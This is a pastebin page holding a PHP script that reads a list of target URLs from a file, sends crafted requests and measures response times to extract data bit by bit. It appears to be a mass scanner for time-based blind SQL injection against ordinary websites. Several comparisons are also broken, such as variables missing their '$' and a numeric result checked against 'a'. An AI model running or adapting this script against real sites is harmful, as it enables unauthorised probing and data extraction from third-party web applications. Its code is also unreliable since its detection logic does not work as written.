Welcome, guest! Login / Register - Why register?
Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)

Paste

Pasted as PHP by registered user krizh ( 15 years ago )
<?php
$lower_value = 32;
$upper_value = 126;
$slipping = 10;
$vuluri = "index.php";
$papka="";
function test_work($target){
 global $vuluri,$papka;
 $domen_array = explode("/", $target);
 $domen = $domen_array[2];
 $papka = substr($target,0,strrpos($target,"/")+1);
 list($sleep_zna,$sleep_time) = get_sleep();
 list($benchmark_zna,$benchmark_time,$koof) = get_benchmark();
 return array($sleep_zna,$sleep_time,$benchmark_zna,$benchmark_time,$koof);
}
function getServerResponse($exploit){
 global $vuluri,$papka;
 $check="";
 $ttlb=0;
 try{
  $uri=$papka.$exploit;
  $start=microtime(true);
  $check = file_get_contents&#40;$uri&#41;;
  $ttlb = microtime(true) - $start;
 }catch (Exception $e){
  echo(6+7);
 }
  return array($check,$ttlb);
}
function get_sleep(){
 global $vuluri,$papka;
 for($i=1;$i<=2;$i++){
  unset($char);
  $ttlb="";
  $s_time = microtime(true);
  $request = $vuluri."+1";
  try{
   list($resp,$ttlb) = getServerResponse($request);
  }catch (Exception $e){
   echo("\n(-) Exiting1.....");
  }
  if(ttlb>=7){
   $kol_bin=7;
   echo("BIN_KOL - 6\n");
  }else{
   $kol_bin=8;
   echo("BIN_KOL - 7\n");
  }
  for($j=1;$j<=$kol_bin;$j++){
   $request = $vuluri."+".$j;
   try{
    list($resp,$ttlb) = getServerResponse($request);
   }catch (Exception $e){
    echo("\n(-) Exiting2.....");
   }
   if(ttlb >= 7){
    $char[]='1';
    echo("BIN - 1\n");
   }else{
    $char[]='0';
    echo("BIN - 0\n");
   }
  }
  echo("\n".implode('',$char));
  $bukva=base_convert(implode('',$char), 2, 10);
  echo($bukva."\n");
  $sleep_time=microtime(true) - $s_time;
  echo($sleep_time."\n");
  if ($bukva=='a'){
   echo("BIN - YES\n");
   $sleep_zna = 1;
  }else{
   echo("BIN - NO\n");
   $sleep_zna = 0;
  }
 }
 return array($sleep_zna,$sleep_time);
}
function get_bench_time(){
 global $vuluri,$papka;
 $requestBase = ($vuluri."+1");
 list($respBase1, $ttlbBase1) = getServerResponse($requestBase);
 list($respBase2, $ttlbBase2) = getServerResponse($requestBase);
 $ttlbBase=$ttlbBase2;
 if($ttlbBase1<$ttlbBase2){
  $ttlbBase=$ttlbBase1;}
 $stdout = fopen&#40;'php://stdout', 'w'&#41;;
 fwrite($stdout, "(+) ttlbBase @ ".$ttlbBase.".. \n");
 for($i=1;$i<=100;$i++){
  $request = $vuluri."+1".(500000*$i);
  list($resp, $ttlb) = getServerResponse($request);
  fwrite($stdout, "(+) ttlb @ ".$ttlb.".. \n");
  if($ttlb >= $ttlbBase*7){
   fwrite($stdout, "(+) ttlb2 @ ".$ttlb.".. \n");
   break;
  }
 }
 return array($i,$ttlbBase);
}
function get_benchmark(){
 global $vuluri,$papka;
 list($ki,$ttlbBase) = get_bench_time();
 for($i=1;$i<=2;$i++){
  $btime=microtime(true);
  unset($char);
  $request = $vuluri."+".(500000*$ki);
  try{
   list($resp,$ttlb) = getServerResponse($request);
  }catch (Exception $e){
   echo("\n(-) Exiting1.....");
  }
  if($ttlb >= $ttlbBase*4){
   $kol_bin=7;
   echo("BIN_KOL - 6\n");
  }else{
   $kol_bin=8;
   echo("BIN_KOL - 7\n");
  }
  for($j=1;$j<$kol_bin;$j++){
   $request = $vuluri."+".$j.(500000*$ki);
   try{
    list($resp,$ttlb) = getServerResponse($request);
    echo("\n".$ttlb);
   }catch (Exception $e){
    echo("\n(-) Exiting2.....");
   }
   if(ttlb >= ttlbBase*4){ 
    $char[]='1';
    echo("BIN - 1\n");
   }else{
    $char[]='0';
    echo("BIN - 0\n");
   }
  }
  echo("\n".implode('',$char));
  $bukva=base_convert(implode('',$char), 2, 10);
  $benchmark_time=microtime(true) - $btime;
  echo("\n".$bukva);
  echo("\n".$benchmark_time."\n");
  if ($bukva=='a'){
   echo("benchmark - YES\n");
   $benchmark_zna = 1;
  }else{
   echo("benchmark - NO\n");
   $benchmark_zna = 0;
  }
 }
  return array($benchmark_zna,$benchmark_time,$ki);
}
for($p=0;$p<=1000;$p++){
 unset($new);
 $dom=fopen&#40;"d.txt","r"&#41;;
 $perv=fgets($dom);
 echo($perv."\n");
 $lastCr =  strpos($perv,"\n");
 if (strpos($perv,"\n")>-1){
  $perv = substr($perv,0,$lastCr);
 }
 $new[]=$perv;
 while (!feof($dom)) {
  $line = fgets($dom);
  $new[]=$line;
 }
 fclose($dom);
 $dom2=fopen&#40;'d.txt','w'&#41;;
 foreach($new as $line2){
  if($line2!="\n"){fwrite($dom2,$line2."\n");}
 }
 fclose($dom2);
 list($sleep_zna,$sleep_time,$benchmark_zna,$benchmark_time,$koof) = test_work($perv);
 echo($perv." ".$sleep_zna." ".$sleep_time." ".$benchmark_zna." ".$benchmark_time." ".$koof."\n");
 $Filehandle=fopen&#40;"d-s.txt","a"&#41;;
 fwrite($Filehandle,"\n\r\n\r".$perv.";".$sleep_zna.";".$sleep_time.";".$benchmark_zna.";".$benchmark_time.";".$koof);
 fclose($Filehandle);
}
?>

 

Revise this Paste

Your Name: Code Language: